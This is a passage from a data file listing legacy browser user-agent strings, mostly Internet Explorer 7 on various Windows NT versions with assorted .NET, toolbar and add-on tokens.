1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; SV1; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; yplus 5.3.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Zango 10.0.370.0; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Zango 10.3.75.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe/10.0.648.204; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe/12.0.742.112; GTB7.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; en-US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; en-US; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iCafeMedia; GTB6; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.577; .NET CLR 3.5.20526)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.1.181.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; zh-cn)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Lunascape 5.0 alpha3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; Lunascape 6.1.7.21880)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04310.00; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; FunWebProducts; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; MathPlayer 2.10; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Q312461; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; SLCC1; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.03)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; InfoPath.1; SV1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; GTB6.5; MathPlayer 2.20; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; FDM; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Seekmo 10.0.431.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Win64; x64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Win64; x64; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0 SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; (R1 1.5); SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; (R1 1.6); SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; (R1 1.6); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; ABPlayer_1.3.22; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5;\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1;   .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Avant Browser; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FBSMTWB; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Zango 10.3.75.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; AskTB5.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; Zango 10.3.74.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zango 10.3.74.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Alexa Toolbar; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; (R1 1.5); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; (R1 1.5); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; KKman3.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; MathPlayer 2.10d; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; MS-RTC LM 8; InfoPath.2; OfficeLiveConnector.1.2; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.1; FDM)\nMozilla/4.0 (compatible; 